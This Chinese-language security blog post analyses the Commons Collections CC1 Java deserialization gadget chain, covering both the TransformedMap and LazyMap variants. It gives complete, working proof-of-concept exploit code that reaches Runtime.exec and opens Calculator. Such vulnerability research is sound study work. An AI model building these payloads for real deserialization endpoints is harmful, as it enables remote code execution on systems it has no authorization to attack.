利用条件
Commons-Collections 3.1 - 3.2.1版本
JDK版本:JDK8u71及以下版本(之后版本已修复不可利用)
利用链介绍
public class CommonsCollections1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key","value");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Map.Entry me = (Map.Entry) outerMap.entrySet().iterator().next();
me.setValue("value");
}
}
new ConstantTransformer()
调用父类构造方法,并且将参数对象赋值给常量 iConstant
new InvokeTransformer()
调用父类构造方法,并且对 InvokeTransformer
类的 iMethodName
、iParamTypes
、iArgs
进行赋值
InvokeTransformer
类实现了 Transformer
接口,来看看实现接口的 transform
方法
这看起来像个后门,获取对象的Class,然后获取我们上面写好的方法和参数并执行,这就是一个任意命令执行的点。
new ChainedTransformer()
也只是对常量进行赋值操作
因为 ChainedTransformer
类也实现了 Transformer
接口,再看看 transform
方法
这里对 iTransformers
进行循环执行 transform
方法,并且第一个执行的结果是下一个执行 transform
方法的参数对象。在上面,我们将 Transformer
对象数组赋值给了常量 iTransformers
,如果调用 transform
方法那么就实现了链式调用,相当于 ChainedTransformer
把 Transformer
对象数组中所有对象串起来执行。
那么构造好了这么个链,我们如何去执行到 ChainedTransformer
中的 transform
方法呢?
在 TransformedMap
类中发现 checkSetValue
方法中调用了 transform
方法,且 value
参数也是可控的
来看看这个类的构造方法,由于我们需要 TransformedMap
类的实例化对象,TransformedMap
的构造方法貌似不太适合,而这个类的 decorate
方法实例化了 TransformedMap
类并且返回了,是我们想要的!
那么问题又来了,我们如何执行到 checkSetValue
方法呢?
查找后,发现该执行点在 AbstractInputCheckedMapDecorator
抽象类中的内部类 MapEntry
中
那么我们只要想办法执行到 setValue
方法,就需要获取到获取到 MapEntry
类的实例化对象
看一看是哪个地方实例化了 MapEntry
类
还是在 AbstractInputCheckedMapDecorator
抽象类中的内部类 EntrySetIterator
再顺藤摸瓜看看谁实例化了 EntrySetIterator
类
发现还是在 AbstractInputCheckedMapDecorator
抽象类中的内部类 EntrySet
经过一番查找,发现实例化 EntrySet
构造方法还是在 AbstractInputCheckedMapDecorator
抽象类中
由于 TransformedMap
继承了 AbstractInputCheckedMapDecorator
抽象类,因此我们可以执行调用 entrySet
方法,接下来就是链式调用就可以得到 MapEntry
对象了,类型是 Map.Entry
Map.Entry me = (Map.Entry) outerMap.entrySet().iterator().next();
得到 MapEntry
对象后,即可调用我们上面找到的 setValue
方法,这条链我们就清楚了。而我们研究的是在反序列化时自动触发调用链,现在研究的这条并不是,所以接下来按照两条链去研究。
TransformedMap链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
LazyMap链
该利用链在ysoserial工具中
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
利用链分析
TransformedMap链分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorateTransform(innerMap,null,chainedTransformer);
outerMap.put("test","aaa");
}
}
使用 AnnotationInvocationHandler
类作为反序列化入口完整 TransformedMap
链利用代码如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa"); // 这里的key必须是value
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, outerMap); // 这里必须是有枚举类型成员变量的注解类,且成员变量和上面的key要一致
serialize(o);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
下面是JDK1.8u65版本的 AnnotationInvocationHandler
注解类,可以看到,构造函数的 memberValues
接受一个 Map
类型的对象,并赋值到本类的变量 memberValues
AnnotationInvocationHandler
注解类重写了 readObject
方法,对我们传入的 Map
对象进行了遍历,在下面我们看到执行了 setValue
方法(如果没有setValue方法的版本,则不能利用成功)。
那么在上面代码中注释写到了,必须key为value,那是为什么呢?
在这里获取了注解类型,并且在446行获取了这个注解类型的成员变量值,447行进行了判断,只要不为Null则会继续往下执行,否则无法执行到 setValue
方法。
上面的 type
变量其实就是我们在反射获取到 AnnotationInvocationHandler
注解类后实例化的参数 Target.class
,为什么要选择这个注解类呢?
因为 Target.class
有枚举类型成员变量,且是 value
这就解释了上面我们为什么key只能是value的原因。
最后,进行序列化和反序列化操作后,成功弹出计算器。
LazyMap链分析
LazyMap是ysoserial工具中的CC1链,而TransformedMap是国内流传的。
LazyMap只需要调用get方法即可执行命令
该方法实例化了LazyMap
类,继续跟进
LazyMap
继承了 AbstractMapDecorator
抽象类,判断了传递的Map对象是否是Null,不是则进行赋值操作。
再回到 LazyMap
构造方法中,发现对传递的 chainedTransformer
参数赋值给 LazyMap
的 factory
变量。
再找到 get
方法,可以看到,调用了 factory
对象的 transform
方法
在 invoke
方法中发现调用了get方法,由于 invoke
方法是在对象代理时才能触发,将这个对象进行Proxy代理,Proxy也实现了序列化接口,所以也是可以反序列化的,在 readObject
的时候,调用任意方法就会执行 AnnotationInvocationHandler
的 invoke
方法,此时还不能对此进行反序列化因为此时的入口点为sun.reflect.annotation.AnnotationInvocationHandler#readObject
AnnotationInvocationHandler
的invoke方法会调用 LazyMap
对象的 get
方法,就可以调用 transform
方法执行到恶意Payload
invoke
方法需要调用任意方法,才可触发,对 AnnotationInvocationHandler
对象进行动态代理,在 readyObject
方法被执行时就可调用到 invoke
方法
AnnotationInvocationHandler
的 memberValues
变量接受的Map类型,所以代理对象类型也是Map,这里我们不能直接进行反序列化,我们需要再套一层执行到handler对象的 AnnotationInvocationHandler
类中的 readObject
方法即可。
以下是LazyMap链的完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1_LazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa");
Map lazymap = LazyMap.decorate(innerMap, chainedTransformer);
Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),lazymap.getClass().getInterfaces(),handler);
handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(handler);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/4eb101e5c67c.html
Comments